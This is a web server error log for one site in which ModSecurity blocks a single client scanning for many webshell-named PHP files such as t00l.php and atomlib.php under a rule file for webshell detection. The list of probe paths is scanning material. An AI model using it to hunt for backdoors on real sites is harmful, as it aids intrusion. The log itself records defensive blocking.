[Sat Apr 18 23:18:27.391599 2026] [:error] [pid 32677:tid 32702] [client 20.203.141.81:54797] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/junvh.php"] [unique_id "aeOgwxngmUE3LdC-wP71hAAAAlY"]
[Sat Apr 18 23:18:27.962226 2026] [:error] [pid 32647:tid 32662] [client 20.203.141.81:31027] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/junvh.php"] [unique_id "aeOgw0kxooM0iRo6e541LQAAAgw"]
[Sat Apr 18 23:18:28.596168 2026] [:error] [pid 32647:tid 32650] [client 20.203.141.81:58502] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/junvh.php"] [unique_id "aeOgxEkxooM0iRo6e541MQAAAgA"]
[Sat Apr 18 23:18:29.083141 2026] [:error] [pid 32647:tid 32652] [client 20.203.141.81:7892] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jvtsa.php"] [unique_id "aeOgxUkxooM0iRo6e541MwAAAgI"]
[Sat Apr 18 23:18:29.586989 2026] [:error] [pid 34288:tid 34309] [client 20.203.141.81:51767] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jvtsa.php"] [unique_id "aeOgxeTIiy__PtiLmpngMQAAAZE"]
[Sat Apr 18 23:18:30.099602 2026] [:error] [pid 34290:tid 34321] [client 20.203.141.81:30997] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jvtsa.php"] [unique_id "aeOgxhqX6WpmmAXOBi8vggAAAcI"]
[Sat Apr 18 23:18:30.583041 2026] [:error] [pid 9970:tid 9996] [client 20.203.141.81:7735] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jvtsa.php"] [unique_id "aeOgxiYdRLRhVmaIMx3tcgAAANY"]
[Sat Apr 18 23:18:31.150108 2026] [:error] [pid 9970:tid 9975] [client 20.203.141.81:57010] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kaduu.php"] [unique_id "aeOgxyYdRLRhVmaIMx3tcwAAAME"]
[Sat Apr 18 23:18:31.738453 2026] [:error] [pid 32677:tid 32698] [client 20.203.141.81:37902] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kaduu.php"] [unique_id "aeOgxxngmUE3LdC-wP71hQAAAlI"]
[Sat Apr 18 23:18:32.234407 2026] [:error] [pid 32677:tid 32687] [client 20.203.141.81:31017] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kaduu.php"] [unique_id "aeOgyBngmUE3LdC-wP71hwAAAkc"]
[Sat Apr 18 23:18:32.727011 2026] [:error] [pid 32677:tid 32686] [client 20.203.141.81:64246] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kaduu.php"] [unique_id "aeOgyBngmUE3LdC-wP71iQAAAkY"]
[Sat Apr 18 23:18:33.226905 2026] [:error] [pid 9970:tid 9997] [client 20.203.141.81:41751] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kagug.php"] [unique_id "aeOgySYdRLRhVmaIMx3tfQAAANc"]
[Sat Apr 18 23:18:33.713903 2026] [:error] [pid 9970:tid 9976] [client 20.203.141.81:8187] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kagug.php"] [unique_id "aeOgySYdRLRhVmaIMx3tfwAAAMI"]
[Sat Apr 18 23:18:34.201116 2026] [:error] [pid 9864:tid 9916] [client 20.203.141.81:41176] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kagug.php"] [unique_id "aeOgyoCFeowknfXHM7k2-AAAAEo"]
[Sat Apr 18 23:18:34.740450 2026] [:error] [pid 32647:tid 32659] [client 20.203.141.81:58550] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kagug.php"] [unique_id "aeOgykkxooM0iRo6e541OAAAAgk"]
[Sat Apr 18 23:18:35.236319 2026] [:error] [pid 9865:tid 9945] [client 20.203.141.81:54809] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kandw.php"] [unique_id "aeOgy6zb5knECIY-C-iq5gAAAIg"]
[Sat Apr 18 23:18:35.886759 2026] [:error] [pid 9970:tid 9979] [client 20.203.141.81:30997] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kandw.php"] [unique_id "aeOgyyYdRLRhVmaIMx3thwAAAMU"]
[Sat Apr 18 23:18:36.594452 2026] [:error] [pid 9970:tid 9987] [client 20.203.141.81:63693] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kandw.php"] [unique_id "aeOgzCYdRLRhVmaIMx3tjgAAAM0"]
[Sat Apr 18 23:18:37.515326 2026] [:error] [pid 9970:tid 9983] [client 20.203.141.81:56994] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kandw.php"] [unique_id "aeOgzSYdRLRhVmaIMx3tlgAAAMk"]
[Sat Apr 18 23:18:38.034371 2026] [:error] [pid 34288:tid 34311] [client 20.203.141.81:58529] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kduhq.php"] [unique_id "aeOgzuTIiy__PtiLmpngMgAAAZM"]
[Sat Apr 18 23:18:38.588915 2026] [:error] [pid 9970:tid 9987] [client 20.203.141.81:54808] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kduhq.php"] [unique_id "aeOgziYdRLRhVmaIMx3tmwAAAM0"]
[Sat Apr 18 23:18:39.174078 2026] [:error] [pid 9970:tid 9978] [client 20.203.141.81:40451] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kduhq.php"] [unique_id "aeOgzyYdRLRhVmaIMx3tnQAAAMQ"]
[Sat Apr 18 23:18:39.895862 2026] [:error] [pid 9970:tid 9976] [client 20.203.141.81:47633] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kduhq.php"] [unique_id "aeOgzyYdRLRhVmaIMx3toQAAAMI"]
[Sat Apr 18 23:18:40.521106 2026] [:error] [pid 9970:tid 9977] [client 20.203.141.81:37925] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rgjrq.php"] [unique_id "aeOg0CYdRLRhVmaIMx3tpgAAAMM"]
[Sat Apr 18 23:18:41.146384 2026] [:error] [pid 9970:tid 9998] [client 20.203.141.81:54810] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rgjrq.php"] [unique_id "aeOg0SYdRLRhVmaIMx3trAAAANg"]
[Sat Apr 18 23:18:41.713061 2026] [:error] [pid 9865:tid 9958] [client 20.203.141.81:54803] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rgjrq.php"] [unique_id "aeOg0azb5knECIY-C-iq6wAAAJU"]
[Sat Apr 18 23:18:42.358886 2026] [:error] [pid 32678:tid 32728] [client 20.203.141.81:54813] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rgjrq.php"] [unique_id "aeOg0hUlAXU_ZWUu5y8YSwAAApU"]
[Sat Apr 18 23:18:42.909351 2026] [:error] [pid 32647:tid 32652] [client 20.203.141.81:63719] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vopxx.php"] [unique_id "aeOg0kkxooM0iRo6e541OQAAAgI"]
[Sat Apr 18 23:18:43.816433 2026] [proxy_fcgi:error] [pid 9865:tid 9950] [client 20.203.141.81:37923] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:18:44.064649 2026] [proxy_fcgi:error] [pid 9865:tid 9955] [client 20.203.141.81:37923] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:18:44.449924 2026] [proxy_fcgi:error] [pid 9865:tid 9953] [client 20.203.141.81:37923] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:18:44.712105 2026] [proxy_fcgi:error] [pid 9865:tid 9941] [client 20.203.141.81:37923] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:18:44.952175 2026] [proxy_fcgi:error] [pid 9865:tid 9938] [client 20.203.141.81:37923] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:18:45.194233 2026] [proxy_fcgi:error] [pid 9865:tid 9939] [client 20.203.141.81:37923] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:18:45.508523 2026] [proxy_fcgi:error] [pid 9865:tid 9949] [client 20.203.141.81:37923] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:18:45.965154 2026] [proxy_fcgi:error] [pid 9865:tid 9958] [client 20.203.141.81:37923] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:18:46.205250 2026] [proxy_fcgi:error] [pid 9865:tid 9948] [client 20.203.141.81:37923] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:18:46.851745 2026] [proxy_fcgi:error] [pid 9865:tid 9957] [client 20.203.141.81:37923] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:18:47.696681 2026] [proxy_fcgi:error] [pid 9865:tid 9950] [client 20.203.141.81:37923] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:18:47.939566 2026] [:error] [pid 9865:tid 9952] [client 20.203.141.81:37923] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13ede.php"] [unique_id "aeOg16zb5knECIY-C-irAwAAAI8"]
[Sat Apr 18 23:18:48.624417 2026] [:error] [pid 32647:tid 32674] [client 20.203.141.81:31029] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13ede.php"] [unique_id "aeOg2EkxooM0iRo6e541QQAAAhg"]
[Sat Apr 18 23:18:50.301760 2026] [:error] [pid 34288:tid 34300] [client 20.203.141.81:57022] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13ede.php"] [unique_id "aeOg2uTIiy__PtiLmpngPgAAAYg"]
[Sat Apr 18 23:18:51.193859 2026] [:error] [pid 9864:tid 9912] [client 20.203.141.81:63716] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13ede.php"] [unique_id "aeOg24CFeowknfXHM7k2_wAAAEY"]
[Sat Apr 18 23:18:52.392087 2026] [:error] [pid 9970:tid 9998] [client 20.203.141.81:37938] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akhvg.php"] [unique_id "aeOg3CYdRLRhVmaIMx3t3AAAANg"]
[Sat Apr 18 23:18:53.242700 2026] [:error] [pid 32677:tid 32684] [client 20.203.141.81:32778] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akhvg.php"] [unique_id "aeOg3RngmUE3LdC-wP71lQAAAkQ"]
[Sat Apr 18 23:18:54.196876 2026] [:error] [pid 9970:tid 9979] [client 20.203.141.81:47628] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akhvg.php"] [unique_id "aeOg3iYdRLRhVmaIMx3t4wAAAMU"]
[Sat Apr 18 23:18:54.778112 2026] [:error] [pid 9970:tid 9978] [client 20.203.141.81:41204] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akhvg.php"] [unique_id "aeOg3iYdRLRhVmaIMx3t5AAAAMQ"]
[Sat Apr 18 23:18:55.412315 2026] [:error] [pid 9970:tid 9996] [client 20.203.141.81:56996] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assacc.php"] [unique_id "aeOg3yYdRLRhVmaIMx3t6AAAANY"]
[Sat Apr 18 23:18:56.016167 2026] [:error] [pid 32677:tid 32693] [client 20.203.141.81:7443] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assacc.php"] [unique_id "aeOg4BngmUE3LdC-wP71lwAAAk0"]
[Sat Apr 18 23:18:56.960311 2026] [:error] [pid 32677:tid 32687] [client 20.203.141.81:31024] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assacc.php"] [unique_id "aeOg4BngmUE3LdC-wP71mgAAAkc"]
[Sat Apr 18 23:18:57.600905 2026] [:error] [pid 9864:tid 9922] [client 20.203.141.81:54821] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assacc.php"] [unique_id "aeOg4YCFeowknfXHM7k3BwAAAFA"]
[Sat Apr 18 23:18:58.327851 2026] [:error] [pid 32677:tid 32680] [client 20.203.141.81:30987] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t00l.php"] [unique_id "aeOg4hngmUE3LdC-wP71oAAAAkA"]
[Sat Apr 18 23:18:58.945771 2026] [:error] [pid 13023:tid 13034] [client 20.203.141.81:7935] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t00l.php"] [unique_id "aeOg4v1e7hG8DAeABB9LkAAAAQk"]
[Sat Apr 18 23:18:59.550514 2026] [:error] [pid 32677:tid 32684] [client 20.203.141.81:41754] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t00l.php"] [unique_id "aeOg4xngmUE3LdC-wP71pwAAAkQ"]
[Sat Apr 18 23:19:00.078238 2026] [:error] [pid 9970:tid 9982] [client 20.203.141.81:30984] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t00l.php"] [unique_id "aeOg5CYdRLRhVmaIMx3t8AAAAMg"]
[Sat Apr 18 23:19:00.600944 2026] [:error] [pid 32678:tid 32714] [client 20.203.141.81:37895] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xy.php"] [unique_id "aeOg5BUlAXU_ZWUu5y8YWwAAAoc"]
[Sat Apr 18 23:19:01.322539 2026] [:error] [pid 9970:tid 9981] [client 20.203.141.81:37916] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xy.php"] [unique_id "aeOg5SYdRLRhVmaIMx3uCQAAAMc"]
[Sat Apr 18 23:19:01.916346 2026] [:error] [pid 9865:tid 9942] [client 20.203.141.81:61781] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xy.php"] [unique_id "aeOg5azb5knECIY-C-irHgAAAIU"]
[Sat Apr 18 23:19:02.687757 2026] [:error] [pid 9865:tid 9961] [client 20.203.141.81:63710] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xy.php"] [unique_id "aeOg5qzb5knECIY-C-irIgAAAJg"]
[Sat Apr 18 23:19:03.495379 2026] [:error] [pid 9864:tid 9905] [client 20.203.141.81:7922] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aeOg54CFeowknfXHM7k3CQAAAEA"]
[Sat Apr 18 23:19:04.043402 2026] [:error] [pid 9970:tid 9980] [client 20.203.141.81:32773] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aeOg6CYdRLRhVmaIMx3uFwAAAMY"]
[Sat Apr 18 23:19:04.964660 2026] [:error] [pid 9970:tid 9993] [client 20.203.141.81:7882] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aeOg6CYdRLRhVmaIMx3uGwAAANM"]
[Sat Apr 18 23:19:05.775249 2026] [:error] [pid 9970:tid 9995] [client 20.203.141.81:37904] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aeOg6SYdRLRhVmaIMx3uIQAAANU"]
[Sat Apr 18 23:19:06.478762 2026] [:error] [pid 9863:tid 9878] [client 20.203.141.81:54835] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "aeOg6jjjiypiFrTucbLb7gAAAAU"]
